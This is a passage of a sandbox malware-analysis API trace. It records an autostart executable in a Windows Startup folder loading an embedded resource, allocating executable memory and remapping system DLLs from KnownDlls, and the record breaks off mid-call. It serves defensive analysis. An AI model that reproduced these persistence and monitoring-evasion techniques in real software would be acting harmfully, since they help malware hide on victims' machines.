[0095.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58bf5d0 | out: lpSystemTimeAsFileTime=0x58bf5d0*(dwLowDateTime=0xf1b7fa70, dwHighDateTime=0x1d56bd5)) [0095.967] GetLastInputInfo (in: plii=0x24a8bcc | out: plii=0x24a8bcc) returned 1 [0097.915] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x58bf5d0 | out: lpSystemTimeAsFileTime=0x58bf5d0*(dwLowDateTime=0xf2505270, dwHighDateTime=0x1d56bd5)) [0097.915] GetLastInputInfo (in: plii=0x24a8bcc | out: plii=0x24a8bcc) returned 1 Thread: id = 146 os_tid = 0x810 Process: id = "7" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x12a45000" os_pid = "0x370" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "rpc_server" parent_id = "6" os_parent_pid = "0x558" cmd_line = "C:\\Windows\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xa], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\hkmsvc" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\MMCSS" [0xe], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wuauserv" [0xa], "NT AUTHORITY\\Logon Session 00000000:0000d2ee" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 81 os_tid = 0x88c Thread: id = 82 os_tid = 0x924 Thread: id = 83 os_tid = 0x94c Thread: id = 84 os_tid = 0x744 Thread: id = 85 os_tid = 0x854 Thread: id = 86 os_tid = 0x834 Thread: id = 87 os_tid = 0x130 Thread: id = 88 os_tid = 0x980 Thread: id = 89 os_tid = 0x860 Thread: id = 90 os_tid = 0x414 Thread: id = 91 os_tid = 0x230 Thread: id = 92 os_tid = 0x408 Thread: id = 93 os_tid = 0x7dc Thread: id = 94 os_tid = 0x798 Thread: id = 95 os_tid = 0x794 Thread: id = 96 os_tid = 0x764 Thread: id = 97 os_tid = 0x760 Thread: id = 98 os_tid = 0x758 Thread: id = 99 os_tid = 0x730 Thread: id = 100 os_tid = 0x728 Thread: id = 101 os_tid = 0x724 Thread: id = 102 os_tid = 0x71c Thread: id = 103 os_tid = 0x70c Thread: id = 104 os_tid = 0x700 Thread: id = 105 os_tid = 0x6fc Thread: id = 106 os_tid = 0x6f8 Thread: id = 107 os_tid = 0x6e4 Thread: id = 108 os_tid = 0x4c0 Thread: id = 109 os_tid = 0x480 Thread: id = 110 os_tid = 0x474 Thread: id = 111 os_tid = 0x470 Thread: id = 112 os_tid = 0x450 Thread: id = 113 os_tid = 0x444 Thread: id = 114 os_tid = 0x294 Thread: id = 115 os_tid = 0x218 Thread: id = 116 os_tid = 0x3fc Thread: id = 117 os_tid = 0x3f4 Thread: id = 118 os_tid = 0x3e8 Thread: id = 119 os_tid = 0x39c Thread: id = 120 os_tid = 0x390 Thread: id = 121 os_tid = 0x38c Thread: id = 122 os_tid = 0x388 Thread: id = 123 os_tid = 0x37c Thread: id = 124 os_tid = 0x374 Thread: id = 125 os_tid = 0x584 Thread: id = 126 os_tid = 0x970 Thread: id = 127 os_tid = 0x974 Thread: id = 128 os_tid = 0x978 Thread: id = 129 os_tid = 0x984 Thread: id = 130 os_tid = 0x968 Thread: id = 135 os_tid = 0xba4 Thread: id = 136 os_tid = 0xba0 Thread: id = 137 os_tid = 0xad8 Thread: id = 138 os_tid = 0xbd0 Thread: id = 139 os_tid = 0xac8 Thread: id = 140 os_tid = 0xacc Thread: id = 141 os_tid = 0xad0 Thread: id = 147 os_tid = 0x850 Thread: id = 148 os_tid = 0x870 Thread: id = 149 os_tid = 0x874 Process: id = "8" image_name = "hjdytuap.exe" filename = "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\hjdytuap.exe" page_root = "0x11c1c000" os_pid = "0x530" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "autostart" parent_id = "0" os_parent_pid = "0x0" cmd_line = "\"C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe\" " cur_dir = "C:\\Windows\\system32\\" os_username = "YKYD69Q\\aETAdzjz" bitness = "32" os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ec12" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 151 os_tid = 0x534 [0180.664] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0182.790] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe.config", nBufferLength=0x105, lpBuffer=0x3ae828, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe.config", lpFilePart=0x0) returned 0x63 [0182.923] GetCurrentProcess () returned 0xffffffff [0182.924] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3aebd0 | out: TokenHandle=0x3aebd0*=0x1d4) returned 1 [0182.928] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x3ae6b0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0182.960] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x3aebd0 | out: lpFileInformation=0x3aebd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92785300, ftCreationTime.dwHighDateTime=0x1cd5d48, ftLastAccessTime.dwLowDateTime=0x346650f0, ftLastAccessTime.dwHighDateTime=0x1d2f186, ftLastWriteTime.dwLowDateTime=0x92785300, ftLastWriteTime.dwHighDateTime=0x1cd5d48, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0182.961] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x3ae67c, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0182.963] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x3aebd0 | out: lpFileInformation=0x3aebd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92785300, ftCreationTime.dwHighDateTime=0x1cd5d48, ftLastAccessTime.dwLowDateTime=0x346650f0, ftLastAccessTime.dwHighDateTime=0x1d2f186, ftLastWriteTime.dwLowDateTime=0x92785300, ftLastWriteTime.dwHighDateTime=0x1cd5d48, nFileSizeHigh=0x0, nFileSizeLow=0x8c8f)) returned 1 [0182.964] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", nBufferLength=0x105, lpBuffer=0x3ae608, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x43 [0182.965] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x3aeafc) returned 1 [0182.965] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1e4 [0182.966] GetFileType (hFile=0x1e4) returned 0x1 [0182.966] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x3aeaf8) returned 1 [0182.966] GetFileType (hFile=0x1e4) returned 0x1 [0182.989] GetFileSize (in: hFile=0x1e4, lpFileSizeHigh=0x3aebc4 | out: lpFileSizeHigh=0x3aebc4*=0x0) returned 0x8c8f [0182.990] ReadFile (in: hFile=0x1e4, lpBuffer=0x24a91dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3aeb80, lpOverlapped=0x0 | out: lpBuffer=0x24a91dc*, lpNumberOfBytesRead=0x3aeb80*=0x1000, lpOverlapped=0x0) returned 1 [0183.002] ReadFile (in: hFile=0x1e4, lpBuffer=0x24a91dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3aea1c, lpOverlapped=0x0 | out: lpBuffer=0x24a91dc*, lpNumberOfBytesRead=0x3aea1c*=0x1000, lpOverlapped=0x0) returned 1 [0183.006] ReadFile (in: hFile=0x1e4, lpBuffer=0x24a91dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae8d0, lpOverlapped=0x0 | out: lpBuffer=0x24a91dc*, lpNumberOfBytesRead=0x3ae8d0*=0x1000, lpOverlapped=0x0) returned 1 [0183.007] ReadFile (in: hFile=0x1e4, lpBuffer=0x24a91dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae8d0, lpOverlapped=0x0 | out: lpBuffer=0x24a91dc*, lpNumberOfBytesRead=0x3ae8d0*=0x1000, lpOverlapped=0x0) returned 1 [0183.007] ReadFile (in: hFile=0x1e4, lpBuffer=0x24a91dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae8d0, lpOverlapped=0x0 | out: lpBuffer=0x24a91dc*, lpNumberOfBytesRead=0x3ae8d0*=0x1000, lpOverlapped=0x0) returned 1 [0183.007] ReadFile (in: hFile=0x1e4, lpBuffer=0x24a91dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae808, lpOverlapped=0x0 | out: lpBuffer=0x24a91dc*, lpNumberOfBytesRead=0x3ae808*=0x1000, lpOverlapped=0x0) returned 1 [0183.012] ReadFile (in: hFile=0x1e4, lpBuffer=0x24a91dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae984, lpOverlapped=0x0 | out: lpBuffer=0x24a91dc*, lpNumberOfBytesRead=0x3ae984*=0x1000, lpOverlapped=0x0) returned 1 [0183.013] ReadFile (in: hFile=0x1e4, lpBuffer=0x24a91dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae898, lpOverlapped=0x0 | out: lpBuffer=0x24a91dc*, lpNumberOfBytesRead=0x3ae898*=0x1000, lpOverlapped=0x0) returned 1 [0183.013] ReadFile (in: hFile=0x1e4, lpBuffer=0x24a91dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae898, lpOverlapped=0x0 | out: lpBuffer=0x24a91dc*, lpNumberOfBytesRead=0x3ae898*=0xc8f, lpOverlapped=0x0) returned 1 [0183.013] ReadFile (in: hFile=0x1e4, lpBuffer=0x24a91dc, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x3ae958, lpOverlapped=0x0 | out: lpBuffer=0x24a91dc*, lpNumberOfBytesRead=0x3ae958*=0x0, lpOverlapped=0x0) returned 1 [0183.014] CloseHandle (hObject=0x1e4) returned 1 [0183.015] GetCurrentProcess () returned 0xffffffff [0183.015] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3aed04 | out: TokenHandle=0x3aed04*=0x1e4) returned 1 [0183.015] GetCurrentProcess () returned 0xffffffff [0183.015] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3aed04 | out: TokenHandle=0x3aed04*=0x1e8) returned 1 [0183.016] GetCurrentProcess () returned 0xffffffff [0183.016] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3aebd0 | out: TokenHandle=0x3aebd0*=0x1ec) returned 1 [0183.016] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe.config" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\hjdytuap.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x3aebd0 | out: lpFileInformation=0x3aebd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0183.016] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe.config", nBufferLength=0x105, lpBuffer=0x3ae67c, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe.config", lpFilePart=0x0) returned 0x63 [0183.016] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe.config" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\hjdytuap.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x3aebd0 | out: lpFileInformation=0x3aebd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0183.017] GetCurrentProcess () returned 0xffffffff [0183.017] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3aed04 | out: TokenHandle=0x3aed04*=0x1f0) returned 1 [0183.017] GetCurrentProcess () returned 0xffffffff [0183.017] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3aed04 | out: TokenHandle=0x3aed04*=0x1f4) returned 1 [0183.028] GetCurrentProcess () returned 0xffffffff [0183.028] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3aeacc | out: TokenHandle=0x3aeacc*=0x1f8) returned 1 [0183.050] GetCurrentProcess () returned 0xffffffff [0183.050] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3aeadc | out: TokenHandle=0x3aeadc*=0x1fc) returned 1 [0183.295] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", nBufferLength=0x105, lpBuffer=0x3ae150, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\", lpFilePart=0x0) returned 0x2e [0183.297] GetModuleHandleW (lpModuleName="webengine4.dll") returned 0x0 [0183.305] LoadLibraryW (lpLibFileName="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\\\webengine4.dll") returned 0x736e0000 [0183.348] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x1 [0183.348] CoUninitialize () [0183.384] EtwEventRegister () returned 0x0 [0183.393] GetCurrentProcess () returned 0xffffffff [0183.393] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae664 | out: TokenHandle=0x3ae664*=0x230) returned 1 [0183.394] GetCurrentProcess () returned 0xffffffff [0183.394] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x2000000, TokenHandle=0x3ae638 | out: TokenHandle=0x3ae638*=0x24c) returned 1 [0183.395] GetTokenInformation (in: TokenHandle=0x230, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x3ae66c | out: TokenInformation=0x0, ReturnLength=0x3ae66c) returned 0 [0183.396] LocalAlloc (uFlags=0x0, uBytes=0x24) returned 0x49e738 [0183.396] GetTokenInformation (in: TokenHandle=0x230, TokenInformationClass=0x1, TokenInformation=0x49e738, TokenInformationLength=0x24, ReturnLength=0x3ae66c | out: TokenInformation=0x49e738, ReturnLength=0x3ae66c) returned 1 [0183.399] LocalFree (hMem=0x49e738) returned 0x0 [0183.401] LsaOpenPolicy (in: SystemName=0x0, ObjectAttributes=0x3ae58c, DesiredAccess=0x800, PolicyHandle=0x3ae54c | out: PolicyHandle=0x3ae54c) returned 0x0 [0183.402] LsaLookupSids (in: PolicyHandle=0x4969b0, Count=0x1, Sids=0x24c5ae8*=0x24c5a54*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x68)), ReferencedDomains=0x3ae568, Names=0x3ae55c | out: ReferencedDomains=0x3ae568, Names=0x3ae55c) returned 0x0 [0183.403] LsaClose (ObjectHandle=0x4969b0) returned 0x0 [0183.403] LsaFreeMemory (Buffer=0x490d30) returned 0x0 [0183.403] LsaFreeMemory (Buffer=0x49e738) returned 0x0 [0183.636] FindResourceA (hModule=0x0, lpName=0x71, lpType=0x17) returned 0x10000d8 [0183.642] SizeofResource (hModule=0x0, hResInfo=0x10000d8) returned 0x6f200 [0183.648] LoadResource (hModule=0x0, hResInfo=0x10000d8) returned 0x1010924 [0183.653] LockResource (hResData=0x1010924) returned 0x1010924 [0186.059] CoGetContextToken (in: pToken=0x3af8b8 | out: pToken=0x3af8b8) returned 0x0 [0186.059] CObjectContext::QueryInterface () returned 0x0 [0186.059] CObjectContext::GetCurrentThreadType () returned 0x0 [0186.059] Release () returned 0x0 [0186.060] CoGetContextToken (in: pToken=0x3af5d4 | out: pToken=0x3af5d4) returned 0x0 [0186.060] CObjectContext::QueryInterface () returned 0x0 [0186.060] CObjectContext::GetCurrentThreadType () returned 0x0 [0186.060] Release () returned 0x0 [0186.061] CoGetContextToken (in: pToken=0x3af5d4 | out: pToken=0x3af5d4) returned 0x0 [0186.061] CObjectContext::QueryInterface () returned 0x0 [0186.061] CObjectContext::GetCurrentThreadType () returned 0x0 [0186.061] Release () returned 0x0 [0186.063] CoGetContextToken (in: pToken=0x3af5d4 | out: pToken=0x3af5d4) returned 0x0 [0186.063] CObjectContext::QueryInterface () returned 0x0 [0186.063] CObjectContext::GetCurrentThreadType () returned 0x0 [0186.063] Release () returned 0x0 [0186.064] CoGetContextToken (in: pToken=0x3af5ec | out: pToken=0x3af5ec) returned 0x0 [0186.064] CObjectContext::QueryInterface () returned 0x0 [0186.064] CObjectContext::GetCurrentThreadType () returned 0x0 [0186.064] Release () returned 0x0 [0186.064] CoUninitialize () Thread: id = 152 os_tid = 0x744 Thread: id = 153 os_tid = 0x748 [0180.666] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0183.986] CloseHandle (hObject=0x1f4) returned 1 [0183.987] CloseHandle (hObject=0x1f0) returned 1 [0183.987] CloseHandle (hObject=0x230) returned 1 [0183.987] CloseHandle (hObject=0x1ec) returned 1 [0183.987] CloseHandle (hObject=0x1e8) returned 1 [0183.987] CloseHandle (hObject=0x1fc) returned 1 [0183.987] CloseHandle (hObject=0x1e4) returned 1 [0183.987] CloseHandle (hObject=0x1f8) returned 1 [0183.987] CloseHandle (hObject=0x24c) returned 1 [0183.987] CloseHandle (hObject=0x1d4) returned 1 [0186.060] EtwEventUnregister () returned 0x0 [0186.063] SleepEx (dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 154 os_tid = 0x74c Thread: id = 155 os_tid = 0x48c [0183.396] CoGetContextToken (in: pToken=0xabfafc | out: pToken=0xabfafc) returned 0x0 [0183.405] CObjectContext::QueryInterface () returned 0x0 [0183.406] CObjectContext::GetCurrentThreadType () returned 0x0 [0183.407] Release () returned 0x0 [0183.409] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0183.411] SleepEx (dwMilliseconds=0xffffffff, bAlertable=1) returned 0xc0 [0183.417] SleepEx (dwMilliseconds=0x3a98, bAlertable=1) Thread: id = 156 os_tid = 0x638 [0183.679] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0185.626] CoTaskMemAlloc (cb=0x20c) returned 0x4bf820 [0185.626] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x4bf820 | out: pszPath="C:\\Users\\aETAdzjz") returned 0x0 [0185.628] CoTaskMemFree (pv=0x4bf820) [0185.628] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz", nBufferLength=0x105, lpBuffer=0x4f0e7b4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz", lpFilePart=0x0) returned 0x11 [0185.630] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe", nBufferLength=0x105, lpBuffer=0x4f0e7d4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\HJdyTuap.exe", lpFilePart=0x0) returned 0x5c [0185.633] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\s.exe", nBufferLength=0x105, lpBuffer=0x4f0e858, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\aETAdzjz\\s.exe", lpFilePart=0x0) returned 0x17 [0185.633] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x4f0ecb8) returned 1 [0185.634] GetFileAttributesExW (in: lpFileName="C:\\Users\\aETAdzjz\\s.exe" (normalized: "c:\\users\\aetadzjz\\s.exe"), fInfoLevelId=0x0, lpFileInformation=0x4f0ed34 | out: lpFileInformation=0x4f0ed34*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe36d5910, ftCreationTime.dwHighDateTime=0x1d56bd5, ftLastAccessTime.dwLowDateTime=0xe36d5910, ftLastAccessTime.dwHighDateTime=0x1d56bd5, ftLastWriteTime.dwLowDateTime=0xde7d5ef0, ftLastWriteTime.dwHighDateTime=0x1d56bd5, nFileSizeHigh=0x0, nFileSizeLow=0xbc400)) returned 1 [0185.634] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x4f0ecb4) returned 1 [0185.684] VirtualAlloc (lpAddress=0x0, dwSize=0x2605, flAllocationType=0x3000, flProtect=0x40) returned 0x420000 [0185.689] strlen (_Str="kernel32.dll") returned 0xc [0185.689] mbstowcs (in: _Dest=0x4f0cae8, _Source="kernel32.dll", _MaxCount=0xd | out: _Dest="kernel32.dll") returned 0xc [0185.689] strlen (_Str="KERNEL32.DLL") returned 0xc [0185.689] mbstowcs (in: _Dest=0x4f0c8e0, _Source="KERNEL32.DLL", _MaxCount=0xd | out: _Dest="KERNEL32.DLL") returned 0xc [0185.689] strlen (_Str="\\KnownDlls32\\ntdll.dll") returned 0x16 [0185.689] mbstowcs (in: _Dest=0x4f0ccf0, _Source="\\KnownDlls32\\ntdll.dll", _MaxCount=0x17 | out: _Dest="\\KnownDlls32\\ntdll.dll") returned 0x16 [0185.689] strlen (_Str="\\KnownDlls32\\advapi32.dll") returned 0x19 [0185.689] mbstowcs (in: _Dest=0x4f0cef8, _Source="\\KnownDlls32\\advapi32.dll", _MaxCount=0x1a | out: _Dest="\\KnownDlls32\\advapi32.dll") returned 0x19 [0185.689] strlen (_Str="\\KnownDlls32\\kernel32.dll") returned 0x19 [0185.689] mbstowcs (in: _Dest=0x4f0df38, _Source="\\KnownDlls32\\kernel32.dll", _MaxCount=0x1a | out: _Dest="\\KnownDlls32\\kernel32.dll") returned 0x19 [0185.689] strlen (_Str="\\KnownDlls32\\user32.dll") returned 0x17 [0185.689] mbstowcs (in: _Dest=0x4f0dd30, _Source="\\KnownDlls32\\user32.dll", _MaxCount=0x18 | out: _Dest="\\KnownDlls32\\user32.dll") returned 0x17 [0185.689] strlen (_Str="\\KnownDlls32\\Ole32.dll") returned 0x16 [0185.689] mbstowcs (in: _Dest=0x4f0d510, _Source="\\KnownDlls32\\Ole32.dll", _MaxCount=0x17 | out: _Dest="\\KnownDlls32\\Ole32.dll") returned 0x16 [0185.689] strlen (_Str="\\KnownDlls\\ntdll.dll") returned 0x14 [0185.690] mbstowcs (in: _Dest=0x4f0d718, _Source="\\KnownDlls\\ntdll.dll", _MaxCount=0x15 | out: _Dest="\\KnownDlls\\ntdll.dll") returned 0x14 [0185.690] strlen (_Str="\\KnownDlls\\advapi32.dll") returned 0x17 [0185.690] mbstowcs (in: _Dest=0x4f0db28, _Source="\\KnownDlls\\advapi32.dll", _MaxCount=0x18 | out: _Dest="\\KnownDlls\\advapi32.dll") returned 0x17 [0185.690] strlen (_Str="\\KnownDlls\\kernel32.dll") returned 0x17 [0185.690] mbstowcs (in: _Dest=0x4f0d308, _Source="\\KnownDlls\\kernel32.dll", _MaxCount=0x18 | out: _Dest="\\KnownDlls\\kernel32.dll") returned 0x17 [0185.690] strlen (_Str="\\KnownDlls\\user32.dll") returned 0x15 [0185.690] mbstowcs (in: _Dest=0x4f0d920, _Source="\\KnownDlls\\user32.dll", _MaxCount=0x16 | out: _Dest="\\KnownDlls\\user32.dll") returned 0x15 [0185.690] strlen (_Str="\\KnownDlls\\Ole32.dll") returned 0x14 [0185.690] mbstowcs (in: _Dest=0x4f0d100, _Source="\\KnownDlls\\Ole32.dll", _MaxCount=0x15 | out: _Dest="\\KnownDlls\\Ole32.dll") returned 0x14 [0185.690] wcslen (_String="\\KnownDlls32\\advapi32.dll") returned 0x19 [0185.690] NtOpenSection (in: SectionHandle=0x4f0c8bc, DesiredAccess=0xc, ObjectAttributes=0x4f0c86c*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\advapi32.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x4f0c8bc*=0x230) returned 0x0 [0185.690] NtMapViewOfSection (in: SectionHandle=0x230, ProcessHandle=0xffffffff, BaseAddress=0x4f0c8c4*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4f0c8c0*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x4f0c8c4*=0x990000, SectionOffset=0x0, ViewSize=0x4f0c8c0*=0xa0000) returned 0x40000003 [0185.690] wcslen (_String="\\KnownDlls32\\ntdll.dll") returned 0x16 [0185.690] NtOpenSection (in: SectionHandle=0x4f0c8bc, DesiredAccess=0xc, ObjectAttributes=0x4f0c86c*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\ntdll.dll", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0) | out: SectionHandle=0x4f0c8bc*=0x1ec) returned 0x0 [0185.690] NtMapViewOfSection (in: SectionHandle=0x1ec, ProcessHandle=0xffffffff, BaseAddress=0x4f0c8c4*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x4f0c8c0*=0x0, InheritDisposition=0x1, AllocationType=0x0, AccessProtection=0x2 | out: BaseAddress=0x4f0c8c4*=0xa3f0000, SectionOffset=0x0, ViewSize=0x4f0c8c0*=0x180000) returned 0x40000003 [0185.690] wcslen (_String="\\KnownDlls32\\kernel32.dll") returned 0x19 [0185.690] NtOpenSection (in: SectionHandle=0x4f0c8bc, DesiredAccess=0xc, ObjectAttributes=0x4f0c86c*(Length=0x18, RootDirectory=0x0, ObjectName="\\KnownDlls32\\kernel32.dll", Attributes=0x40, SecurityDescriptor=0x0, 